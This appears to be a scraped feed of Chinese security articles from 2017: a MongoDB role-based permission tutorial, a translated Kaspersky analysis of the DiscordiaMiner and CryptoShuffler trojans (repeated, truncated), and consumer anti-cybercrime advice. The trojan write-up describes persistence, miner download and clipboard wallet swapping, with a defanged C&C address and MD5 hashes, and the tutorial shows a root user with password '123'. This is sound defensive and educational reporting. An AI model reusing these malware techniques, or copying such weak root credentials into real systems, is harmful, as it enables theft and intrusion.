0
【安全科普】MongoDB 权限控制系统简介

2017-11-05 12:16:53

阅读:644次
点赞(0)
收藏
来源: 安全客





【安全科普】MongoDB 权限控制系统简介

作者:hulk一线技术杂谈





【安全科普】MongoDB 权限控制系统简介

背景简介

开发:“给我们最高权限吧,我们用起来方便”


两天后...

开发:“喂喂 DBA 吗我们的库怎么巨卡无比,你们搞什么啊?”

DBA :“....哦,你们是不是创建索引没加backgroud:true ?”

开发:“.... .... ... 好像是”

这就是我们没有权限控制前的日常,建索引不加 [backgroud:true] 、直接误删业务库或集合数据、对集合每个字段添加单列索引导致容量急剧膨胀还有各种突破认知范围的误操作。由于 MongoDB 早期版本自身对权限控制极其简单粗暴,DBA 为了兼容不同版本的可用性在权限控制上也只能对业务用户授予“超级”(root)用户权限。这也就相当于给伟大的开发开启了邪恶的“番多拉之盒”。 随着MongoDB3.x 版本的大规模上线,为了避免线上误操作及一些其他人为低级错误,我们迫切需要引入更精细化的权限控制机制。从 MongoDB 2.6 版本 开始 MongoDB 已经开始尝试引入相对精细的权限控制,不过直到 MongoDB3.0 版本权限体系才算相对完善,所以本文将主要介绍 MongoDB3.0 版本的权限控制机制。

权限概念

要想理解清楚MongoDB的权限必须先了解如下一些关键字

user

即用户,用于提供客户端连接MongoDB的认证账户

role

即角色,数据权限的集合,创建用户的时候必须要指定对应的角色,否则用户无法操作数据库

resource

即资源,包括database或collection也可以是database和collection的组合

例如:

{ db: <database>, collection: <collection> }

当然你也可能看到一种特殊的资源:

{"cluster" : true}

它其实表示的是全局资源

actions

即权限操作,"actions" 定义了"user"能够对 "resource document"执行的操作

例如,增删改查包括如下操作:

find、insert、remove、update

privilege

即权限,"privilege" 是一组"resource" 和 "actions" 的组合

authenticationDatabase

认证库,即创建角色或用户时所在的库

例如,在 admin 下创建了 MongoDB 用户那么登陆的时候需要指定认证库

mongo-umongo-pxxx--hostxxx--portxxx--authenticationDatabase=admin

角色

MongoDB 里角色分为 ”内建角色“ 和 ”用户自定义“ 角色两种,内建角色是 MongoDB 为了方便用户管理和内部操作进行的预定义的一些角色具体见文末连接:MongoDB内建角色介绍

多数时候为了精细化权限控制 MongoDB 的内建角色无法满足我们的需求,因此需要 DBA 自定义角色来进行更加详细的权限控制。

创建角色

useadmin;//进入名为admin的数据库下,下同 db.createRole( {role:"testrole",//角色名称 privileges:[//权限集 { resource://资源{ db:"lidan",//创建的testrole角色具有对lidan库的操作权限,具体权限建actions collection:""//lidan库下对应的集合名如果为""表示所有集合 }, actions:["find","insert","remove","update"]//角色可进行的操作,注意这里是一个数组 } ], roles:[]//是否继承其他的角色,如果指定了其他角色那么新创建的角色自动继承对应其他角色的所有权限,该参数必须显示指定 } )

上述语句在 admin 库里创建了一个名为 testrole的角色,该角色具有对数据库lidan下的所有集合进行 find、insert、remove、update的操作的权限。

角色创建完毕后 MongoDB 会在系统库 admin 下创建一个系统collection名叫system.roles 里面存储的即是角色相关的信息。

可以使用如下语句进行查看:

db.system.roles.find();

另外, MongoDB 所有权限操作列表详见文末连接:MongoDB 权限操作列表

查看角色

useadmin;//数据库必须是创建所要查看角色时的数据库,下同 db.getRole( "testrole",//要查看角色的名字 { showPrivileges:true//指定查看角色信息的时候是否显示它所拥有的权限信息,也可不指定 } )

角色继承

useadmin; //角色继承 db.grantRolesToRole( "testrole", ["otherrole1","otherrole2"]//将otherrole1、otherrole2两个角色(假设之前已经创建好)的权限授予testrole角色 ) //角色权限回收 db.revokeRolesFromRole( "testrole", ["otherrole2"]//撤销testrole角色从otherrole2角色所继承的所有权限 )

角色授权

useadmin; db.grantPrivilegesToRole( "testrole", [ { resource://权限可操作的资源 { db:"lidan_1",//授予testrole角色具有操作lidan_1库的权限 collection:""//lidan_1库下的集合如果为""表示所有集合 }, actions://权限允许的操作 ["createCollection","dropCollection","convertToCapped"]//权限可进行的操作 } ] )

执行完操作后testrole角色便可以对库lidan_1下的所有集合进行 "createCollection", "dropCollection","convertToCapped" 操作。

角色权限回收

useadmin; db.revokePrivilegesFromRole( "testrole", [ { resource://权限可操作的资源 { db:"lidan_1",//回收角色对库lidan_1的actions操作权限 collection:""//lidan_1库下所有的集合如果为""表示所有集合 }, actions://权限允许的操作 ["createCollection","dropCollection","convertToCapped"]//需要回收的权限 } ] )

执行完操作后testrole角色对库lidan_1下的所有集合无法进行 "createCollection", "dropCollection","convertToCapped" 操作。

删除角色

useadmin; db.dropRole("testrole")//删除角色比较简单直接指定要删除角色的名称即可

其他关于角色的对应操作请参考文末连接:MongoDB角色管理方法

用户

创建用户

MongoDB 创建用户时可以指定内建角色也可以使用用户自定义角色,DBA 可以根据需求自行决定(注意:用户不允许在local库下创建用户)

useradmin; //指定内建角色来创建用户 db.createUser( { user:'mongo',//用户名 pwd:'123',//密码 roles:[ { role:'root',//通过指定内建角色root来创建用户 db:'admin'//指定角色对应的认证数据库,内建角色通常认证库为admin } ] } ); //指定自定义角色来创建用户,这里是在admin下创建的用户故认证库也是admin db.createUser( { user:"mongo",//用户名 pwd:"123",//密码 roles:["testrole"]//通过指定用户自定义角色来创建用户,注意这里是数组 } )

用户创建成功后可以使用如下语句登陆:

mongo-umongo-p123--host127.0.0.1--port9999--authenticationDatabase=admin

查看用户

useadmin; db.getUser("mongo")//查看用户比较简单只需要指定用户名即可

为用户 添加/回收 角色

useadmin; //为用户添加角色 db.grantRolesToUser( "mongo",//用户名 [ {role:"testrole",//需要添加的角色名 db:"admin"//角色对应的认证库,即角色创建时所在的数据库 } ] ) //对用户的角色进行回收,如果将用户所有的角色都回收完毕,那么用户只有对所属库的连接权限 db.revokeRolesFromUser( "mongo",//用户名 [ {role:"testrole",//需要回收的角色名 db:"admin"//角色对应的认证库,即角色创建时所在的数据库 } ] )

删除用户

useadmin; db.dropUser("mongo");//删除用户比较简单直接指定用户名即可

另外,除上述对用户的操作方法外还有其他对用户的管理方法。这里就不一一列举可详见文末连接:MongoDB 用户管理方法

注意事项

1. 在 MongoDB 中删除库和集合并不会级联删除对应的角色和用户。因此如果想彻底删除对应的业务库因该先删除库及其对应的角色和用户。

2. 如果既想实现精细化权限控制又想简化用户管理,原则上建议只给开发创建一个账户,并且使用 admin 做认证库,这样可避免清理过期业务库而导致无法登陆的问题。

相关连接:

MongoDB 内建角色介绍:

https://docs.mongodb.org/manual/reference/built-in-roles/

MongoDB 权限操作列表:

https://docs.mongodb.org/manual/reference/privilege-actions/#security-user-actions

MongoDB 角色管理方法:

https://docs.mongodb.org/manual/reference/method/js-role-management/

MongoDB 用户管理方法:

https://docs.mongodb.org/manual/reference/method/js-user-management/



【安全科普】MongoDB 权限控制系统简介

HULK一线技术杂谈



【安全科普】MongoDB 权限控制系统简介
【安全科普】MongoDB 权限控制系统简介
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4639.html

【技术分享】区块链轶事:分析两款挖矿木马

$
0
0
【技术分享】区块链轶事:分析两款挖矿木马

2017-11-06 10:07:32

阅读:915次
点赞(0)
收藏
来源: securelist.com





【技术分享】区块链轶事:分析两款挖矿木马

作者:興趣使然的小胃





【技术分享】区块链轶事:分析两款挖矿木马

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

随着时间的推移,加密货币(以下简称密币)已逐渐从新奇元素、乌托邦式的经济转变为颇有影响力的商业元素,即便是信息技术中最为脱节的社会单元也会受其影响。与此同时,密币已经得到许多“心怀不轨”人士的拥护,这些人的目标是牺牲其他人的利益来使自己利益最大化:攻击者会以各种方式运行挖矿程序,比如把挖矿程序嵌入用户JS脚本中、植入到处于生产状态的IoT设备中、隐藏在带有SMB漏洞利用技术的无数个木马变种中等。

这篇文章中,我会向大家介绍来自“挖矿前线”上的两个不同寻常的成功故事。第一个故事与TinyNuke事件遥相呼应,可以从许多方面反映当前的挖矿局势;第二个故事可以告诉我们一个道理:无需“燃烧”处理器来挖矿,你也能拿到密币。


二、DiscordiaMiner以及论坛上的争论

在6月初,我们的分析人员发现了一款新的、貌似很普通的木马,这款木马会下载非常流行的门罗币挖矿程序。然而,随着调查过程的深入,我们发现了许多更为有趣的细节,我们希望与大家一起分享这些信息。

卡巴斯基实验室产品将这款木马标记为Trojan.Win32.DiscordiaMiner。木马的工作流程如下:

1、在系统中创建多个目录,下载所需的文件;


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

2、将自身复制到C:\ProgramData\MicrosoftCorporation\windows\SystemData\Isass.exe;

3、从服务器获取更新;


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

4、创建自启动任务;


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

5、下载挖矿程序;


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

6、获取用户凭据,使用该用户名来运行挖矿程序;

7、运行挖矿程序。

木马通过GET请求与命令服务器(C&C)交互,交互动作发生在程序启动期间,木马没有做其他任何检查或校验操作。所有的木马样本都使用hxxp://api[.]boosting[.]online这个地址作为C&C地址。该地址后面会跟上用户标识符(如MTn31JMWIT)以及所请求资源的地址,这些资源包括文件、新版程序等。典型的地址为:hxxp://api[.]boosting[.]online/MTn31JMWIT/getDiscordia。

2.1 论坛上的争论

前面我们提到过,在运行过程中的某一时刻,木马会得到指令,使用一些参数来运行挖矿程序:它会指定获得挖矿收益的用户邮箱地址,如下所示:

-user<user_email>-xmr

提取出<user_email>参数后,我们搜索了一下这个地址,根据第一行搜索结果,我们发现俄语论坛上有关于这个木马的一些话题:


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

在这个论坛帖子中,网友对木马的具体工作流程发起了广泛的讨论。讨论中最有趣的部分出现在第21页:网友纷纷指责木马作者将用户地址替换成自己的地址。除此之外,还有一份聊天记录,作者在聊天中表明出现这种替换行为是不值一提的错误。

在这个论坛上,DiscordiaMiner的作者表明这个错误的存活周期非常短,以此为根据来为自己辩护:


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

作者同样提到木马已感染200,000台主机。我们很难确认这个数字的准确性,然而,在我们拿到的恶意软件样本中,经常会看到这个独特的邮箱地址。样本中还出现过其他地址,如ilya-soro*****12@mail.ru、v*****re@gmail.com、topne*****arin@gmail.com、J ***** m@yandex.ru、steamfa*****aunt1@mail.ru、me*****ook@gmail.com、x*****z@yandex.ru、piedmont ***** lines@yahoo.com。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

除此之外,在争论过程中,作者还提到DiscordiaMiner木马的源码现已公开。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

的确如此,使用这个关键词进行搜索,第一行搜索结果就是作者的代码仓库地址。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

该源码与恢复完毕的木马代码完全一致,此外,这个仓库中还包括分析木马操作的翔实图表、投放木马时所用的样本文件以及绕过UAC机制的具体步骤。我们从该仓库中截取了一些图片(该仓库目前已无法访问),如下所示:


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

【技术分享】区块链轶事:分析两款挖矿木马

根据这个源码,不同程序之间只有与用户有关的字符串(ClientID)有所不同。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

虽然开放程序源码之前也出现过,但这次事件与NukeBot事件有些共同点:论坛上先出现一些争议,然后作者就公开源码,目的是“捍卫荣誉与尊严”。这两个木马还有另一处相同点,那就是采用“最简”设计理念:NukeBot只能在浏览器中嵌入基于web注入的载荷,而DiscordiaMiner可以从远程服务器下载并运行文件。除此之外,我们无法确认这两个程序之间有没有更具体的联系。

2.2 样本MD5值

00B35FB5C534DEA3EA13C8BE4E4585CC 083FD078FECFE156B17A50F73666B43E 0AB8E9C539554CBA532DFC5BC5E10F77 377B9C329EBF7ACFE7DABA55A0E90E98 48E6714A486B67D237B07A7CF586B765 4BD80738059B5D34837633692F18EA08 4E79B826AE4EC544481784EF77E05DE4 4EF5A04A56004AA93167F31296CCACF7 539B092C176183EDCA6A69421B62BCE8 5F8E4CF0971B543525CA807B6A2EC73F 65CF0CC192E69EA54373758C130A983F 7F65252701C80F8D4C1484EE06597DF0 80B04BBC2F18E3FE4625C3E060DA5465

三、CryptoShuffler

挖矿软件的作者想一夜暴富是极为罕见的事情。除了一些特例以外,在整个木马运行周期内,攻击者所使用的钱包地址通常只包含价值50-100美元的密币。然而,某些人不想重复这条荆棘之路,他们会选择其他“旁门左道”。CryptoShuffler木马的作者正是其中一份子。

卡巴斯基实验室产品将该木马标记为Trojan-Banker.Win32.CryptoShuffler.gen,样本的MD5值为0ad946c351af8b53eac06c9b8526f8e4。

CryptoShuffler的核心功能为:木马不会浪费时间用处理器来挖矿,它会直接替换剪贴板中的发送方地址!我们曾经在WebMoney及比特币(Bitcoin)案例中看到过类型情况,但这款恶意软件的目标是所有常见的加密货币。

与许多木马刚开始的流程一样,这款木马会把自己写入注册表中,完成自启动目标:


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

在该木马的后续版本中,这个流程稍微有些不同:如果木马模块使用动态加载库方式实现,那么它就会使用rundll32这个系统应用实现自启动。被调用的程序入口以及相关库的主函数为call_directx_9。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

木马会创建一个执行线程,在该线程中维护自启动方式(如上图所示)。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

木马使用OpenClipboard\GetClipboardData\SetClipboardData这几个API函数完成替换操作。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

木马使用正则表达式搜索剪贴板中的字符串是否包含对应的钱包地址。常见的大多数密币钱包地址都会以某些字符串开头,并且钱包地址的长度也为固定长度,因此对应的正则表达式也非常简单。比如,比特币钱包地址很容易识别,这类地址的起始数字为“1”或者“3”.


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

木马文件中包含与各种密币对应的一些钱包地址,主要包括如下地址:


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

大量金钱从用户的比特币钱包流入网络犯罪分子的口袋:在本文成稿时,这些地址中大约包含23个比特币,截至10月底,这些比特币市值约14万美元。其他钱包中包含的钱数各不相同,从数十到数千美元不等。


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马

这款恶意软件是“理性”投资的完美典范,它的动作非常简单却行之有效,这个过程没有连接到任何矿池、没有出现网络交互、不会给处理器带来可疑的负载。


样本MD5值

以下为MD5值:
095536CA531AE11A218789CF297E71ED 14461D5EA29B26BB88ABF79A36C1E449 1A05F51212DEA00C15B61E9C7B7E647B 1E785429526CC2621BAF8BB05ED17D86 2028383D63244013AA2F9366211E8682 25BF6A132AAE35A9D99E23794A41765F 39569EF2C295D1392C3BC53E70BCF158 50E52DBF0E78FCDDBC42657ED0661A3E 6EB7202BB156E6D90D4931054F9E3439 7AE273CD2243C4AFCC52FDA6BF1C2833 7EC256D0470B0755C952DB122C6BDD0B 80DF8640893E2D7CCD6F66FFF6216016 AA46F95F25C764A96F0FB3C75E1159F8 B7ADC8699CDC02D0AB2D1BB8BE1847F4 D45B0A257F8A0710C7B27980DE22616E D9A2CD869152F24B1A5294A1C82B7E85


【技术分享】区块链轶事:分析两款挖矿木马
【技术分享】区块链轶事:分析两款挖矿木马
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securelist.com/tales-from-the-blockchain/82971/

【安全科普】面对日益嚣张的网络犯罪,用户如何自保?

$
0
0
【安全科普】面对日益嚣张的网络犯罪,用户如何自保?

2017-11-06 12:01:52

阅读:614次
点赞(0)
收藏
来源: malwarebytes.com





【安全科普】面对日益嚣张的网络犯罪,用户如何自保?

作者:shan66





【安全科普】面对日益嚣张的网络犯罪,用户如何自保?

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


网络犯罪趋势

不知道您注意到没有,今年各大新闻头条是不是都被含有“网络”的各种字眼所淹没了呢?

网络犯罪。网络攻击。网络安全。网络战。网络。(好吧,说得更精确些那是去年。)

说实在的,当初我们还觉得“网络(cyber)”这个词似乎有点古雅,有点怀旧的感觉,但是随着这么多闹心的事情都与它牵扯到一起,这种感觉早就烟消云散了。

事实上,网络犯罪总体来说在过去几年里一直在稳步上升,而且没有一位专家预测这种情况在不久的将来能够得到遏制。这种情况是非常令人担忧的,但并不完全出乎意料:随着新技术日益普及,一方面会有越来越多的人在线上网,另一方面,也意味着越来越多的人将面临潜在的威胁。

那么,难道这一切都是不可避免的?事实并非如此。面对如此糟糕的安全环境,最重要的是立即学会保护自己免受网络犯罪的侵扰。这意味着必须采取相应的安全措施,以防止或减轻特定的威胁,改变各种危险的习惯,并坦诚地与朋友、家人和同伴讨论安全相关问题。

下面,我们按照各种网络犯罪的危害程度的顺序,对其进行详细介绍,并给出相应的防御措施。


Card Skimming

这是一种电子欺诈行为,犯罪分子使用一种称为skimmer的设备窃取用户的银行卡信息。skimmer通常安装在可以刷卡或吞入自己的信用卡或借记卡的设备上,例如自动取款机,POS设备和加油加汽设备。KrebsOnSecurity的Brian Krebs通过一系列引人入胜、令人大开眼界的博客文章为人们详细展示了card skimming的方方面面,我们建议您通读这个文章系列。

如何自我保护:主要有两条经验法则:

经常检查。 KrebsOnSecurity已经提供了如何识别改造过的设备的方法,以便用户可以防止自己的银行卡被“撇油”。 Krebs在一篇文章中写道:“如果你发现一些看起来不对劲的东西,例如ATM上的奇怪的突起或者颜色异常,那么就应该考虑使用另一台机器。另外,不要使用那些远离公共视线或光线不充足的地方的自动取款机。”

另一方面,设备越复杂,越难察觉篡改的迹象。加油站的情况也是如此,攻击者通常将他们的窃取装置放在泵的内部。当然,我们不主张消费者主动拆卸加油泵,检查是否动过手脚;然而,我们建议用户密切关注自己的银行对帐单中是否出现过意外的开销。

今年9月份,Google Play上推出了一款名为Skimmer Scanner的Android应用程序,可供免费下载和使用。这个应用程序用于检测气泵是否安装了通过蓝牙技术来窃取用户信息的skimmer。如果你有兴趣,可以阅读该应用程序的开发者撰写的一篇技术文章。

永远不要让你的银行卡离开自己的视线。如果您在自己使用手持支付终端的餐厅或小商店内,请服务员或收银员在您面前刷卡。许多企业已经这样做了,但是如果遇到了尚未落实这种做法的商户,不妨督促它们一下。

确保及时更新每张卡的联系信息也很重要,这样在银行发现潜在的欺诈交易时能尽快跟您取得联系。


Android

自从手机使用量超过个人电脑和笔记本电脑的使用量以来,我们就认为,这些罪犯很快就会开始瞄准移动市场。而且,由于Android是全球主流移动操作系统,所以它们自然成为移动设备最大的攻击目标。这就是一直以来的趋势,并且将来也会如此。而且,一旦感染木马程序,可能会下载更多的移动恶意软件,以及潜在有害程序(PUP)。同时,移动勒索软件也正在快速增长。

如何保护自己:就像在台式机或笔记本电脑上一样,对于移动设备也应该培养良好的安全习惯。这包括更新常规固件和应用程序,备份电话数据,在不使用时锁定设备,设置远程擦除,安装为网络浏览提供安全保护的应用程序,同时使用公共Wi-Fi网络时也要倍加小心。

用户还必须定期审核移动设备上不再使用的应用程序(可以考虑卸载它们),以及那些出于某种原因开始做不应该做的事情的应用程序(这样的应用程序必须卸载)。

我们在Labs博客上推出了几篇关于移动安全的文章,读者不妨看一下。

Keeping secure in an Android world [1] [2]

Top 10 ways to secure your mobile phone

Securing your privacy on Android

Solution Corner: Malwarebytes for Android


Mac

苹果已经开始成为攻击者眼中的香饽饽,但这并不是一朝一夕发生的。多年来,苹果的用户群一直都在稳步增长,这主要得益于以下几点。首先,与IBM和思科等其他科技巨头的合作关系显著扩大了苹果在企业界的影响力。不仅如此,人类的行为和逻辑也是其中的一个因素:iPhone和iPad用户在补充设备时,他们会首先考虑购买Mac而不是PC。

起初,Mac恶意软件非常罕见,但是我们最近的观察数据显示,Mac恶意软件正随着广告软件和PUP一起成为一个显著的安全问题。我们不得不承认,现在Mac OS用户也可能会遭遇各种恶意广告和诈骗活动。

如何保护自己:我们对Mac用户的建议与我们给windows用户的建议没有什么不同。重申一次,对于任何平台、操作系统或设备来说,安全的最佳实践都是养成安全的浏览习惯。同时,不要忘记备份文件,如果可能的话,尽量避免下载torrent文件,因为这些文件有时会捆绑恶意软件。

下面是一些推荐阅读的Mac安全方面的文章:

Is Mac malware on the rise?

FAQs about Mac adware

How to remove adware from Macs

New Mac Malware-as-a-Service offerings

How to tell if your Mac is infected


linux

这是另一个最初被视为对网络犯罪具有“免疫”能力的操作系统,但现在之所以成为头条新闻,这要归功于使用基于Linux内核的软件的电子设备和设备(例如Android手机和平板电脑、路由器以及物联网(IoT))数量的急剧攀升。据WatchGuard发表的“互联网安全报告”Q1 [PDF]称,目前针对Linux的恶意软件类型主要有三种:exploit、下载器和flooder。

攻击者之所以盯上基于Linux的设备,有多种原因。首先,供应商和开发者很少花费时间或精力为其产品打安全补丁。其次,大多数情况下,这些设备几乎没有提供任何安全保护措施,而over-the-air(OTA)更新更是无从谈起。最后,消费者基本上不使用密码——即使他们使用了密码,通常也是一些弱密码——来保护这些设备。

如何保护自己:

让我们从密码开始:现在就创建一个密码,或者让密码管理器为您创建密码。确保物联网设备/其他设备上的软件和固件保持更新。对于使用Linux服务器的用户,请定期更新操作系统。实施用于阻止未经请求的入站流量和来自Internet和内部网络的SSH访问的防火墙规则。最后,考虑使用多种安全技术来保护设备,包括反垃圾邮件、URL过滤、反恶意软件和入侵防御等等。


网络欺凌

这是本文中唯一直接针对人类本身的一种网络犯罪。

多年来,我们一直在写关于网络欺凌的文章,我们知道这种行为不仅涉及到儿童和青少年,而且还包括成年人。网络欺凌事件现在比以往任何时候都更加普遍。为什么?诚然,互联网让任何人都可以更容易地与世界另一端的人交谈,与此同时,一些负面的东西也随之泛滥,比如人们的糟糕选择、对匿名的误解和认为数字世界是法外之地的错误假设。

如何保护自己:预防总是胜于治疗,那么如何防止网络欺凌呢? 考虑限制在线分享的内容,或者至少限制在线分享内容的受众。 您的社交媒体feed不必公开,特别是当您分享的东西是提供给亲密的家人和朋友的时候。说到分享,一定要避免向任何人发送私密或私人照片。 这不仅会导致欺凌,还会导致色情复仇。

我们在这里提供了更多的预防措施,其中主要是揭露网络欺凌方面的谣言的内容。

下面是我们在反欺凌周发表的系列文章:

“Monkey see, monkey do”

No sympathy for the ‘bully’?

Of weasels, snakes, and queen bees


非接触式银行卡

众所周知,非接触式银行卡不需要输入PIN码,更不用插入PoS终端,使用的时候,只需要在非接触式读写器前晃一下或保持静止几秒钟就可以了。许多用户之所以选择使用非接触式银行卡,因为它们易于使用。事实上,凡事有利即有弊,非接触式银行卡不仅为用户提供了便利,同时也使得犯罪分子的欺诈行为更容易得手。

请注意,这种网络犯罪只在使用非接触式银行卡的地区比较流行,如英国和大多数欧洲国家。

如何保护自己:

刷卡时亲历其为,让别人代劳会增加被骗的风险。在使用银行卡的非接触式付款功能时,要注意支付数额,并索取收据,然后与您的银行对账单进行比对。定期检查账单中是否有异常的交易。如果银行卡丢失了,请立即向银行挂失。最后,可以考虑使用数字钱包作为非接触银行卡的替代品。

在这篇文章中,我们重点介绍了直接影响消费者的各种网络犯罪,在本系列的第二部分中,我们将探讨发生在企业幕后的各种犯罪。未完待续,敬请期待!



【安全科普】面对日益嚣张的网络犯罪,用户如何自保?
【安全科普】面对日益嚣张的网络犯罪,用户如何自保?
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.malwarebytes.com/101/2017/11/mind-these-digital-crimes-arm-yourself-against-them/

【技术分享】区块链轶事:尊严荣耀与理性投资

$
0
0
【技术分享】区块链轶事:尊严荣耀与理性投资

2017-11-06 10:07:32

阅读:2010次
点赞(0)
收藏
来源: securelist.com





【技术分享】区块链轶事:尊严荣耀与理性投资

作者:興趣使然的小胃





【技术分享】区块链轶事:尊严荣耀与理性投资

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

随着时间的推移,加密货币(以下简称密币)已逐渐从新奇元素、乌托邦式的经济转变为颇有影响力的商业元素,即便是信息技术中最为脱节的社会单元也会受其影响。与此同时,密币已经得到许多“心怀不轨”人士的拥护,这些人的目标是牺牲其他人的利益来使自己利益最大化:攻击者会以各种方式运行挖矿程序,比如把挖矿程序嵌入用户JS脚本中、植入到处于生产状态的IoT设备中、隐藏在带有SMB漏洞利用技术的无数个木马变种中等。

这篇文章中,我会向大家介绍来自“挖矿前线”上的两个不同寻常的成功故事。第一个故事与TinyNuke事件遥相呼应,可以从许多方面反映当前的挖矿局势;第二个故事可以告诉我们一个道理:无需“燃烧”处理器来挖矿,你也能拿到密币。


二、DiscordiaMiner以及论坛上的争论

在6月初,我们的分析人员发现了一款新的、貌似很普通的木马,这款木马会下载非常流行的门罗币挖矿程序。然而,随着调查过程的深入,我们发现了许多更为有趣的细节,我们希望与大家一起分享这些信息。

卡巴斯基实验室产品将这款木马标记为Trojan.Win32.DiscordiaMiner。木马的工作流程如下:

1、在系统中创建多个目录,下载所需的文件;


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

2、将自身复制到C:\ProgramData\MicrosoftCorporation\windows\SystemData\Isass.exe;

3、从服务器获取更新;


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

4、创建自启动任务;


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

5、下载挖矿程序;


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

6、获取用户凭据,使用该用户名来运行挖矿程序;

7、运行挖矿程序。

木马通过GET请求与命令服务器(C&C)交互,交互动作发生在程序启动期间,木马没有做其他任何检查或校验操作。所有的木马样本都使用hxxp://api[.]boosting[.]online这个地址作为C&C地址。该地址后面会跟上用户标识符(如MTn31JMWIT)以及所请求资源的地址,这些资源包括文件、新版程序等。典型的地址为:hxxp://api[.]boosting[.]online/MTn31JMWIT/getDiscordia。

2.1 论坛上的争论

前面我们提到过,在运行过程中的某一时刻,木马会得到指令,使用一些参数来运行挖矿程序:它会指定获得挖矿收益的用户邮箱地址,如下所示:

-user<user_email>-xmr

提取出<user_email>参数后,我们搜索了一下这个地址,根据第一行搜索结果,我们发现俄语论坛上有关于这个木马的一些话题:


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

在这个论坛帖子中,网友对木马的具体工作流程发起了广泛的讨论。讨论中最有趣的部分出现在第21页:网友纷纷指责木马作者将用户地址替换成自己的地址。除此之外,还有一份聊天记录,作者在聊天中表明出现这种替换行为是不值一提的错误。

在这个论坛上,DiscordiaMiner的作者表明这个错误的存活周期非常短,以此为根据来为自己辩护:


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

作者同样提到木马已感染200,000台主机。我们很难确认这个数字的准确性,然而,在我们拿到的恶意软件样本中,经常会看到这个独特的邮箱地址。样本中还出现过其他地址,如ilya-soro*****12@mail.ru、v*****re@gmail.com、topne*****arin@gmail.com、J ***** m@yandex.ru、steamfa*****aunt1@mail.ru、me*****ook@gmail.com、x*****z@yandex.ru、piedmont ***** lines@yahoo.com。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

除此之外,在争论过程中,作者还提到DiscordiaMiner木马的源码现已公开。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

的确如此,使用这个关键词进行搜索,第一行搜索结果就是作者的代码仓库地址。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

该源码与恢复完毕的木马代码完全一致,此外,这个仓库中还包括分析木马操作的翔实图表、投放木马时所用的样本文件以及绕过UAC机制的具体步骤。我们从该仓库中截取了一些图片(该仓库目前已无法访问),如下所示:


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

【技术分享】区块链轶事:尊严荣耀与理性投资

根据这个源码,不同程序之间只有与用户有关的字符串(ClientID)有所不同。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

虽然开放程序源码之前也出现过,但这次事件与NukeBot事件有些共同点:论坛上先出现一些争议,然后作者就公开源码,目的是“捍卫荣誉与尊严”。这两个木马还有另一处相同点,那就是采用“最简”设计理念:NukeBot只能在浏览器中嵌入基于web注入的载荷,而DiscordiaMiner可以从远程服务器下载并运行文件。除此之外,我们无法确认这两个程序之间有没有更具体的联系。

2.2 样本MD5值

00B35FB5C534DEA3EA13C8BE4E4585CC 083FD078FECFE156B17A50F73666B43E 0AB8E9C539554CBA532DFC5BC5E10F77 377B9C329EBF7ACFE7DABA55A0E90E98 48E6714A486B67D237B07A7CF586B765 4BD80738059B5D34837633692F18EA08 4E79B826AE4EC544481784EF77E05DE4 4EF5A04A56004AA93167F31296CCACF7 539B092C176183EDCA6A69421B62BCE8 5F8E4CF0971B543525CA807B6A2EC73F 65CF0CC192E69EA54373758C130A983F 7F65252701C80F8D4C1484EE06597DF0 80B04BBC2F18E3FE4625C3E060DA5465

三、CryptoShuffler

